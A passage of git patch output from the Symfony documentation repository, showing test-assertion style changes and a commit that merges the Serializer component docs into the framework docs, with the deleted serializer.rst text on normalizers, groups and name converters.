+            $this->assertFalse($expirationChecker->isExpired($validUntil));
         }
     }
 
diff --git a/http_client.rst b/http_client.rst
index 988da776022..4a8829a52d5 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -2225,15 +2225,15 @@ test it in a real application::
             $responseData = $service->createArticle($requestData);
 
             // Assert
-            self::assertSame('POST', $mockResponse->getRequestMethod());
-            self::assertSame('https://example.com/api/article', $mockResponse->getRequestUrl());
-            self::assertContains(
+            $this->assertSame('POST', $mockResponse->getRequestMethod());
+            $this->assertSame('https://example.com/api/article', $mockResponse->getRequestUrl());
+            $this->assertContains(
                 'Content-Type: application/json',
                 $mockResponse->getRequestOptions()['headers']
             );
-            self::assertSame($expectedRequestData, $mockResponse->getRequestOptions()['body']);
+            $this->assertSame($expectedRequestData, $mockResponse->getRequestOptions()['body']);
 
-            self::assertSame($responseData, $expectedResponseData);
+            $this->assertSame($responseData, $expectedResponseData);
         }
     }
 
@@ -2266,7 +2266,7 @@ test. Then, save that information as a ``.har`` file somewhere in your applicati
             $responseData = $service->createArticle($requestData);
 
             // Assert
-            self::assertSame($responseData, 'the expected response');
+            $this->assertSame($responseData, 'the expected response');
         }
     }
 

From 8a1497b1f27242aa08b702f8f65150ec25f75190 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 21 Jan 2023 16:42:58 +0100
Subject: [PATCH 5159/5766] Combine component and framework docs for Serializer

---
 _build/redirection_map                        |    4 +-
 .../serializer/serializer_workflow.svg        |    0
 .../serializer/serializer_workflow.dia        |  Bin
 components/property_access.rst                |    2 +
 components/property_info.rst                  |    6 +-
 components/serializer.rst                     | 1948 --------------
 reference/attributes.rst                      |   10 +-
 reference/configuration/framework.rst         |    9 +-
 reference/twig_reference.rst                  |    2 +
 serializer.rst                                | 2262 ++++++++++++++---
 serializer/custom_context_builders.rst        |    8 +-
 serializer/custom_encoders.rst                |   61 -
 serializer/custom_name_converter.rst          |  105 +
 serializer/custom_normalizer.rst              |   68 +-
 serializer/encoders.rst                       |  371 +++
 15 files changed, 2465 insertions(+), 2391 deletions(-)
 rename _images/{components => }/serializer/serializer_workflow.svg (100%)
 rename _images/sources/{components => }/serializer/serializer_workflow.dia (100%)
 delete mode 100644 components/serializer.rst
 delete mode 100644 serializer/custom_encoders.rst
 create mode 100644 serializer/custom_name_converter.rst
 create mode 100644 serializer/encoders.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 3ad55f95c73..4fb14724d26 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -525,7 +525,7 @@
 /testing/functional_tests_assertions /testing#testing-application-assertions
 /components https://symfony.com/components
 /components/index https://symfony.com/components
-/serializer/normalizers /components/serializer#normalizers
+/serializer/normalizers /serializer#serializer-built-in-normalizers
 /logging/monolog_regex_based_excludes /logging/monolog_exclude_http_codes
 /security/named_encoders /security/named_hashers
 /components/inflector /components/string#inflector
@@ -566,3 +566,5 @@
 /messenger/dispatch_after_current_bus /messenger#messenger-transactional-messages
 /messenger/multiple_buses /messenger#messenger-multiple-buses
 /frontend/encore/server-data /frontend/server-data
+/components/serializer /serializer
+/serializer/custom_encoder /serializer/encoders#serializer-custom-encoder
diff --git a/_images/components/serializer/serializer_workflow.svg b/_images/serializer/serializer_workflow.svg
similarity index 100%
rename from _images/components/serializer/serializer_workflow.svg
rename to _images/serializer/serializer_workflow.svg
diff --git a/_images/sources/components/serializer/serializer_workflow.dia b/_images/sources/serializer/serializer_workflow.dia
similarity index 100%
rename from _images/sources/components/serializer/serializer_workflow.dia
rename to _images/sources/serializer/serializer_workflow.dia
diff --git a/components/property_access.rst b/components/property_access.rst
index ba487135d94..717012d6710 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -26,6 +26,8 @@ default configuration::
 
     $propertyAccessor = PropertyAccess::createPropertyAccessor();
 
+.. _property-access-reading-arrays:
+
 Reading from Arrays
 -------------------
 
diff --git a/components/property_info.rst b/components/property_info.rst
index e9f5853cb51..6d57c1bb274 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -458,9 +458,9 @@ SerializerExtractor
 
     This extractor depends on the `symfony/serializer`_ library.
 
-Using :ref:`groups metadata <serializer-using-serialization-groups-attributes>`
-from the :doc:`Serializer component </components/serializer>`,
-the :class:`Symfony\\Component\\PropertyInfo\\Extractor\\SerializerExtractor`
+Using :ref:`groups metadata <serializer-groups-attribute>` from the
+:doc:`Serializer component </serializer>`, the
+:class:`Symfony\\Component\\PropertyInfo\\Extractor\\SerializerExtractor`
 provides list information. This extractor is *not* registered automatically
 with the ``property_info`` service in the Symfony Framework::
 
diff --git a/components/serializer.rst b/components/serializer.rst
deleted file mode 100644
index c10e4c7e45f..00000000000
--- a/components/serializer.rst
+++ /dev/null
@@ -1,1948 +0,0 @@
-The Serializer Component
-========================
-
-    The Serializer component is meant to be used to turn objects into a
-    specific format (XML, JSON, YAML, ...) and the other way around.
-
-In order to do so, the Serializer component follows the following schema.
-
-.. raw:: html
-
-    <object data="../_images/components/serializer/serializer_workflow.svg" type="image/svg+xml"
-        alt="A flow diagram showing how objects are serialized/deserialized. This is described in the subsequent paragraph."
-    ></object>
-
-When (de)serializing objects, the Serializer uses an array as the intermediary
-between objects and serialized contents. Encoders will only deal with
-turning specific **formats** into **arrays** and vice versa. The same way,
-normalizers will deal with turning specific **objects** into **arrays** and
-vice versa. The Serializer deals with calling the normalizers and encoders
-when serializing objects or deserializing formats.
-
-Serialization is a complex topic. This component may not cover all your use
-cases out of the box, but it can be useful for developing tools to
-serialize and deserialize your objects.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/serializer
-
-.. include:: /components/require_autoload.rst.inc
-
-To use the ``ObjectNormalizer``, the :doc:`PropertyAccess component </components/property_access>`
-must also be installed.
-
-Usage
------
-
-.. seealso::
-
-    This article explains the philosophy of the Serializer and gets you familiar
-    with the concepts of normalizers and encoders. The code examples assume
-    that you use the Serializer as an independent component. If you are using
-    the Serializer in a Symfony application, read :doc:`/serializer` after you
-    finish this article.
-
-To use the Serializer component, set up the
-:class:`Symfony\\Component\\Serializer\\Serializer` specifying which encoders
-and normalizer are going to be available::
-
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Encoder\XmlEncoder;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $encoders = [new XmlEncoder(), new JsonEncoder()];
-    $normalizers = [new ObjectNormalizer()];
-
-    $serializer = new Serializer($normalizers, $encoders);
-
-The preferred normalizer is the
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`,
-but other normalizers are available. All the examples shown below use
-the ``ObjectNormalizer``.
-
-Serializing an Object
----------------------
-
-For the sake of this example, assume the following class already
-exists in your project::
-
-    namespace App\Model;
-
-    class Person
-    {
-        private int $age;
-        private string $name;
-        private bool $sportsperson;
-        private ?\DateTimeInterface $createdAt;
-
-        // Getters
-        public function getAge(): int
-        {
-            return $this->age;
-        }
-
-        public function getName(): string
-        {
-            return $this->name;
-        }
-
-        public function getCreatedAt(): ?\DateTimeInterface
-        {
-            return $this->createdAt;
-        }
-
-        // Issers
-        public function isSportsperson(): bool
-        {
-            return $this->sportsperson;
-        }
-
-        // Setters
-        public function setAge(int $age): void
-        {
-            $this->age = $age;
-        }
-
-        public function setName(string $name): void
-        {
-            $this->name = $name;
-        }
-
-        public function setSportsperson(bool $sportsperson): void
-        {
-            $this->sportsperson = $sportsperson;
-        }
-
-        public function setCreatedAt(?\DateTimeInterface $createdAt = null): void
-        {
-            $this->createdAt = $createdAt;
-        }
-    }
-
-Now, if you want to serialize this object into JSON, you only need to
-use the Serializer service created before::
-
-    use App\Model\Person;
-
-    $person = new Person();
-    $person->setName('foo');
-    $person->setAge(99);
-    $person->setSportsperson(false);
-
-    $jsonContent = $serializer->serialize($person, 'json');
-
-    // $jsonContent contains {"name":"foo","age":99,"sportsperson":false,"createdAt":null}
-
-    echo $jsonContent; // or return it in a Response
-
-The first parameter of the :method:`Symfony\\Component\\Serializer\\Serializer::serialize`
-is the object to be serialized and the second is used to choose the proper encoder,
-in this case :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`.
-
-Deserializing an Object
------------------------
-
-You'll now learn how to do the exact opposite. This time, the information
-of the ``Person`` class would be encoded in XML format::
-
-    use App\Model\Person;
-
-    $data = <<<EOF
-    <person>
-        <name>foo</name>
-        <age>99</age>
-        <sportsperson>false</sportsperson>
-    </person>
-    EOF;
-
-    $person = $serializer->deserialize($data, Person::class, 'xml');
-
-In this case, :method:`Symfony\\Component\\Serializer\\Serializer::deserialize`
-needs three parameters:
-
-#. The information to be decoded
-#. The name of the class this information will be decoded to
-#. The encoder used to convert that information into an array
-
-By default, additional attributes that are not mapped to the denormalized object
-will be ignored by the Serializer component. If you prefer to throw an exception
-when this happens, set the ``AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES`` context option to
-``false`` and provide an object that implements ``ClassMetadataFactoryInterface``
-when constructing the normalizer::
-
-    use App\Model\Person;
-
-    $data = <<<EOF
-    <person>
-        <name>foo</name>
-        <age>99</age>
-        <city>Paris</city>
-    </person>
-    EOF;
-
-    // $loader is any of the valid loaders explained later in this article
-    $classMetadataFactory = new ClassMetadataFactory($loader);
-    $normalizer = new ObjectNormalizer($classMetadataFactory);
-    $serializer = new Serializer([$normalizer]);
-
-    // this will throw a Symfony\Component\Serializer\Exception\ExtraAttributesException
-    // because "city" is not an attribute of the Person class
-    $person = $serializer->deserialize($data, Person::class, 'xml', [
-        AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES => false,
-    ]);
-
-Deserializing in an Existing Object
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The serializer can also be used to update an existing object::
-
-    // ...
-    $person = new Person();
-    $person->setName('bar');
-    $person->setAge(99);
-    $person->setSportsperson(true);
-
-    $data = <<<EOF
-    <person>
-        <name>foo</name>
-        <age>69</age>
-    </person>
-    EOF;
-
-    $serializer->deserialize($data, Person::class, 'xml', [AbstractNormalizer::OBJECT_TO_POPULATE => $person]);
-    // $person = App\Model\Person(name: 'foo', age: '69', sportsperson: true)
-
-This is a common need when working with an ORM.
-
-The ``AbstractNormalizer::OBJECT_TO_POPULATE`` is only used for the top level object. If that object
-is the root of a tree structure, all child elements that exist in the
-normalized data will be re-created with new instances.
-
-When the ``AbstractObjectNormalizer::DEEP_OBJECT_TO_POPULATE`` option is set to
-true, existing children of the root ``OBJECT_TO_POPULATE`` are updated from the
-normalized data, instead of the denormalizer re-creating them. Note that
-``DEEP_OBJECT_TO_POPULATE`` only works for single child objects, but not for
-arrays of objects. Those will still be replaced when present in the normalized
-data.
-
-Context
--------
-
-Many Serializer features can be configured :ref:`using a context <serializer_serializer-context>`.
-
-.. _component-serializer-attributes-groups:
-
-Attributes Groups
------------------
-
-Sometimes, you want to serialize different sets of attributes from your
-entities. Groups are a handy way to achieve this need.
-
-Assume you have the following plain-old-PHP object::
-
-    namespace Acme;
-
-    class MyObj
-    {
-        public string $foo;
-
-        private string $bar;
-
-        public function getBar(): string
-        {
-            return $this->bar;
-        }
-
-        public function setBar($bar): string
-        {
-            return $this->bar = $bar;
-        }
-    }
-
-The definition of serialization can be specified using annotations, attributes, XML
-or YAML. The :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`
-that will be used by the normalizer must be aware of the format to use.
-
-The following code shows how to initialize the :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`
-for each format:
-
-* Annotations in PHP files::
-
-    use Doctrine\Common\Annotations\AnnotationReader;
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\AnnotationLoader;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader()));
-
-* Attributes in PHP files::
-
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-
-* YAML files::
-
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\YamlFileLoader;
-
-    $classMetadataFactory = new ClassMetadataFactory(new YamlFileLoader('/path/to/your/definition.yaml'));
-
-* XML files::
-
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\XmlFileLoader;
-
-    $classMetadataFactory = new ClassMetadataFactory(new XmlFileLoader('/path/to/your/definition.xml'));
-
-.. versionadded:: 6.4
-
-    The
-    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AttributeLoader`
-    was introduced in Symfony 6.4. Prior to this, the
-    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader`
-    must be used.
-
-.. deprecated:: 6.4
-
-    Reading annotations in PHP files is deprecated since Symfony 6.4.
-    Also, the
-    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader`
-    was deprecated in Symfony 6.4.
-
-.. _component-serializer-attributes-groups-annotations:
-.. _component-serializer-attributes-groups-attributes:
-
-Then, create your groups definition:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace Acme;
-
-        use Symfony\Component\Serializer\Annotation\Groups;
-
-        class MyObj
-        {
-            #[Groups(['group1', 'group2'])]
-            public string $foo;
-
-            #[Groups(['group4'])]
-            public string $anotherProperty;
-
-            #[Groups(['group3'])]
-            public function getBar() // is* methods are also supported
-            {
-                return $this->bar;
-            }
-
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        Acme\MyObj:
-            attributes:
-                foo:
-                    groups: ['group1', 'group2']
-                anotherProperty:
-                    groups: ['group4']
-                bar:
-                    groups: ['group3']
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="Acme\MyObj">
-                <attribute name="foo">
-                    <group>group1</group>
-                    <group>group2</group>
-                </attribute>
-
-                <attribute name="anotherProperty">
-                    <group>group4</group>
-                </attribute>
-
-                <attribute name="bar">
-                    <group>group3</group>
-                </attribute>
-            </class>
-        </serializer>
-
-You are now able to serialize only attributes in the groups you want::
-
-    use Acme\MyObj;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $obj = new MyObj();
-    $obj->foo = 'foo';
-    $obj->anotherProperty = 'anotherProperty';
-    $obj->setBar('bar');
-
-    $normalizer = new ObjectNormalizer($classMetadataFactory);
-    $serializer = new Serializer([$normalizer]);
-
-    $data = $serializer->normalize($obj, null, ['groups' => 'group1']);
-    // $data = ['foo' => 'foo'];
-
-    $obj2 = $serializer->denormalize(
-        ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'],
-        MyObj::class,
-        null,
-        ['groups' => ['group1', 'group3']]
-    );
-    // $obj2 = MyObj(foo: 'foo', bar: 'bar')
-
-    // To get all groups, use the special value `*` in `groups`
-    $obj3 = $serializer->denormalize(
-        ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'],
-        MyObj::class,
-        null,
-        ['groups' => ['*']]
-    );
-    // $obj2 = MyObj(foo: 'foo', anotherProperty: 'anotherProperty', bar: 'bar')
-
-.. _ignoring-attributes-when-serializing:
-
-Selecting Specific Attributes
------------------------------
-
-It is also possible to serialize only a set of specific attributes::
-
-    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    class User
-    {
-        public string $familyName;
-        public string $givenName;
-        public Company $company;
-    }
-
-    class Company
-    {
-        public string $name;
-        public string $address;
-    }
-
-    $company = new Company();
-    $company->name = 'Les-Tilleuls.coop';
-    $company->address = 'Lille, France';
-
-    $user = new User();
-    $user->familyName = 'Dunglas';
-    $user->givenName = 'Kévin';
-    $user->company = $company;
-
-    $serializer = new Serializer([new ObjectNormalizer()]);
-
-    $data = $serializer->normalize($user, null, [AbstractNormalizer::ATTRIBUTES => ['familyName', 'company' => ['name']]]);
-    // $data = ['familyName' => 'Dunglas', 'company' => ['name' => 'Les-Tilleuls.coop']];
-
-Only attributes that are not ignored (see below) are available.
-If some serialization groups are set, only attributes allowed by those groups can be used.
-
-As for groups, attributes can be selected during both the serialization and deserialization processes.
-
-.. _serializer_ignoring-attributes:
-
-Ignoring Attributes
--------------------
-
-All accessible attributes are included by default when serializing objects.
-There are two options to ignore some of those attributes.
-
-Option 1: Using ``#[Ignore]`` Attribute
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace App\Model;
-
-        use Symfony\Component\Serializer\Annotation\Ignore;
-
-        class MyClass
-        {
-            public string $foo;
-
-            #[Ignore]
-            public string $bar;
-        }
-
-    .. code-block:: yaml
-
-        App\Model\MyClass:
-            attributes:
-                bar:
-                    ignore: true
-
-    .. code-block:: xml
-
-        <?xml version="1.0" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="App\Model\MyClass">
-                <attribute name="bar" ignore="true"/>
-            </class>
-        </serializer>
-
-You can now ignore specific attributes during serialization::
-
-    use App\Model\MyClass;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $obj = new MyClass();
-    $obj->foo = 'foo';
-    $obj->bar = 'bar';
-
-    $normalizer = new ObjectNormalizer($classMetadataFactory);
-    $serializer = new Serializer([$normalizer]);
-
-    $data = $serializer->normalize($obj);
-    // $data = ['foo' => 'foo'];
-
-Option 2: Using the Context
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Pass an array with the names of the attributes to ignore using the
-``AbstractNormalizer::IGNORED_ATTRIBUTES`` key in the ``context`` of the
-serializer method::
-
-    use Acme\Person;
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $person = new Person();
-    $person->setName('foo');
-    $person->setAge(99);
-
-    $normalizer = new ObjectNormalizer();
-    $encoder = new JsonEncoder();
-
-    $serializer = new Serializer([$normalizer], [$encoder]);
-    $serializer->serialize($person, 'json', [AbstractNormalizer::IGNORED_ATTRIBUTES => ['age']]); // Output: {"name":"foo"}
-
-.. _component-serializer-converting-property-names-when-serializing-and-deserializing:
-
-Converting Property Names when Serializing and Deserializing
-------------------------------------------------------------
-
-Sometimes serialized attributes must be named differently than properties
-or getter/setter methods of PHP classes.
-
-The Serializer component provides a handy way to translate or map PHP field
-names to serialized names: The Name Converter System.
-
-Given you have the following object::
-
-    class Company
-    {
-        public string $name;
-        public string $address;
-    }
-
-And in the serialized form, all attributes must be prefixed by ``org_`` like
-the following::
-
-    {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"}
-
-A custom name converter can handle such cases::
-
-    use Symfony\Component\Serializer\NameConverter\NameConverterInterface;
-
-    class OrgPrefixNameConverter implements NameConverterInterface
-    {
-        public function normalize(string $propertyName): string
-        {
-            return 'org_'.$propertyName;
-        }
-
-        public function denormalize(string $propertyName): string
-        {
-            // removes 'org_' prefix
-            return str_starts_with($propertyName, 'org_') ? substr($propertyName, 4) : $propertyName;
-        }
-    }
-
-The custom name converter can be used by passing it as second parameter of any
-class extending :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractNormalizer`,
-including :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
-and :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`::
-
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $nameConverter = new OrgPrefixNameConverter();
-    $normalizer = new ObjectNormalizer(null, $nameConverter);
-
-    $serializer = new Serializer([$normalizer], [new JsonEncoder()]);
-
-    $company = new Company();
-    $company->name = 'Acme Inc.';
-    $company->address = '123 Main Street, Big City';
-
-    $json = $serializer->serialize($company, 'json');
-    // {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"}
-    $companyCopy = $serializer->deserialize($json, Company::class, 'json');
-    // Same data as $company
-
-.. note::
-
-    You can also implement
-    :class:`Symfony\\Component\\Serializer\\NameConverter\\AdvancedNameConverterInterface`
-    to access the current class name, format and context.
-
-.. _using-camelized-method-names-for-underscored-attributes:
-
-CamelCase to snake_case
-~~~~~~~~~~~~~~~~~~~~~~~
-
-In many formats, it's common to use underscores to separate words (also known
-as snake_case). However, in Symfony applications is common to use CamelCase to
-name properties (even though the `PSR-1 standard`_ doesn't recommend any
-specific case for property names).
-
-Symfony provides a built-in name converter designed to transform between
-snake_case and CamelCased styles during serialization and deserialization
-processes::
-
-    use Symfony\Component\Serializer\NameConverter\CamelCaseToSnakeCaseNameConverter;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-
-    $normalizer = new ObjectNormalizer(null, new CamelCaseToSnakeCaseNameConverter());
-
-    class Person
-    {
-        public function __construct(
-            private string $firstName,
-        ) {
-        }
-
-        public function getFirstName(): string
-        {
-            return $this->firstName;
-        }
-    }
-
-    $kevin = new Person('Kévin');
-    $normalizer->normalize($kevin);
-    // ['first_name' => 'Kévin'];
-
-    $anne = $normalizer->denormalize(['first_name' => 'Anne'], 'Person');
-    // Person object with firstName: 'Anne'
-
-.. _serializer_name-conversion:
-
-Configure name conversion using metadata
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-When using this component inside a Symfony application and the class metadata
-factory is enabled as explained in the :ref:`Attributes Groups section <component-serializer-attributes-groups>`,
-this is already set up and you only need to provide the configuration. Otherwise::
-
-    // ...
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\NameConverter\MetadataAwareNameConverter;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-
-    $metadataAwareNameConverter = new MetadataAwareNameConverter($classMetadataFactory);
-
-    $serializer = new Serializer(
-        [new ObjectNormalizer($classMetadataFactory, $metadataAwareNameConverter)],
-        ['json' => new JsonEncoder()]
-    );
-
-Now configure your name conversion mapping. Consider an application that
-defines a ``Person`` entity with a ``firstName`` property:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace App\Entity;
-
-        use Symfony\Component\Serializer\Annotation\SerializedName;
-
-        class Person
-        {
-            public function __construct(
-                #[SerializedName('customer_name')]
-                private string $firstName,
-            ) {
-            }
-
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        App\Entity\Person:
-            attributes:
-                firstName:
-                    serialized_name: customer_name
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="App\Entity\Person">
-                <attribute name="firstName" serialized-name="customer_name"/>
-            </class>
-        </serializer>
-
-This custom mapping is used to convert property names when serializing and
-deserializing objects::
-
-    $serialized = $serializer->serialize(new Person('Kévin'), 'json');
-    // {"customer_name": "Kévin"}
-
-Serializing Boolean Attributes
-------------------------------
-
-If you are using isser methods (methods prefixed by ``is``, like
-``App\Model\Person::isSportsperson()``), the Serializer component will
-automatically detect and use it to serialize related attributes.
-
-The ``ObjectNormalizer`` also takes care of methods starting with ``has``, ``get``,
-and ``can``.
-
-.. versionadded:: 6.1
-
-    The support of canners (methods prefixed by ``can``) was introduced in Symfony 6.1.
-
-Using Callbacks to Serialize Properties with Object Instances
--------------------------------------------------------------
-
-When serializing, you can set a callback to format a specific object property::
-
-    use App\Model\Person;
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $encoder = new JsonEncoder();
-
-    // all callback parameters are optional (you can omit the ones you don't use)
-    $dateCallback = function (object $attributeValue, object $object, string $attributeName, ?string $format = null, array $context = []): string {
-        return $attributeValue instanceof \DateTime ? $attributeValue->format(\DateTime::ATOM) : '';
-    };
-
-    $defaultContext = [
-        AbstractNormalizer::CALLBACKS => [
-            'createdAt' => $dateCallback,
-        ],
-    ];
-
-    $normalizer = new GetSetMethodNormalizer(null, null, null, null, null, $defaultContext);
-
-    $serializer = new Serializer([$normalizer], [$encoder]);
-
-    $person = new Person();
-    $person->setName('cordoval');
-    $person->setAge(34);
-    $person->setCreatedAt(new \DateTime('now'));
-
-    $serializer->serialize($person, 'json');
-    // Output: {"name":"cordoval", "age": 34, "createdAt": "2014-03-22T09:43:12-0500"}
-
-.. _component-serializer-normalizers:
-
-Normalizers
------------
-
-Normalizers turn **objects** into **arrays** and vice versa. They implement
-:class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface` for
-normalizing (object to array) and
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface` for
-denormalizing (array to object).
-
-Normalizers are enabled in the serializer passing them as its first argument::
-
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $normalizers = [new ObjectNormalizer()];
-    $serializer = new Serializer($normalizers, []);
-
-Built-in Normalizers
-~~~~~~~~~~~~~~~~~~~~
-
-The Serializer component provides several built-in normalizers:
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
-    This normalizer leverages the :doc:`PropertyAccess Component </components/property_access>`
-    to read and write in the object. It means that it can access to properties
-    directly and through getters, setters, hassers, issers, canners, adders and removers.
-    It supports calling the constructor during the denormalization process.
-
-    Objects are normalized to a map of property names and values (names are
-    generated by removing the ``get``, ``set``, ``has``, ``is``, ``can``, ``add`` or ``remove``
-    prefix from the method name and transforming the first letter to lowercase; e.g.
-    ``getFirstName()`` -> ``firstName``).
-
-    The ``ObjectNormalizer`` is the most powerful normalizer. It is configured by
-    default in Symfony applications with the Serializer component enabled.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
-    This normalizer reads the content of the class by calling the "getters"
-    (public methods starting with "get"). It will denormalize data by calling
-    the constructor and the "setters" (public methods starting with "set").
-
-    Objects are normalized to a map of property names and values (names are
-    generated by removing the ``get`` prefix from the method name and transforming
-    the first letter to lowercase; e.g. ``getFirstName()`` -> ``firstName``).
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`
-    This normalizer directly reads and writes public properties as well as
-    **private and protected** properties (from both the class and all of its
-    parent classes) by using `PHP reflection`_. It supports calling the constructor
-    during the denormalization process.
-
-    Objects are normalized to a map of property names to property values.
-
-    If you prefer to only normalize certain properties (e.g. only public properties)
-    set the ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option and
-    combine the following values: ``PropertyNormalizer::NORMALIZE_PUBLIC``,
-    ``PropertyNormalizer::NORMALIZE_PROTECTED`` or ``PropertyNormalizer::NORMALIZE_PRIVATE``.
-
-    .. versionadded:: 6.2
-
-        The ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option and its
-        values were introduced in Symfony 6.2.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
-    This normalizer works with classes that implement :phpclass:`JsonSerializable`.
-
-    It will call the :phpmethod:`JsonSerializable::jsonSerialize` method and
-    then further normalize the result. This means that nested
-    :phpclass:`JsonSerializable` classes will also be normalized.
-
-    This normalizer is particularly helpful when you want to gradually migrate
-    from an existing codebase using simple :phpfunction:`json_encode` to the Symfony
-    Serializer by allowing you to mix which normalizers are used for which classes.
-
-    Unlike with :phpfunction:`json_encode` circular references can be handled.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer`
-    This normalizer converts :phpclass:`DateTimeInterface` objects (e.g.
-    :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) into strings.
-    By default, it uses the `RFC3339`_ format.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
-    This normalizer converts :phpclass:`DateTimeZone` objects into strings that
-    represent the name of the timezone according to the `list of PHP timezones`_.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer`
-    This normalizer converts :phpclass:`SplFileInfo` objects into a `data URI`_
-    string (``data:...``) such that files can be embedded into serialized data.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
-    This normalizer converts :phpclass:`DateInterval` objects into strings.
-    By default, it uses the ``P%yY%mM%dDT%hH%iM%sS`` format.
-
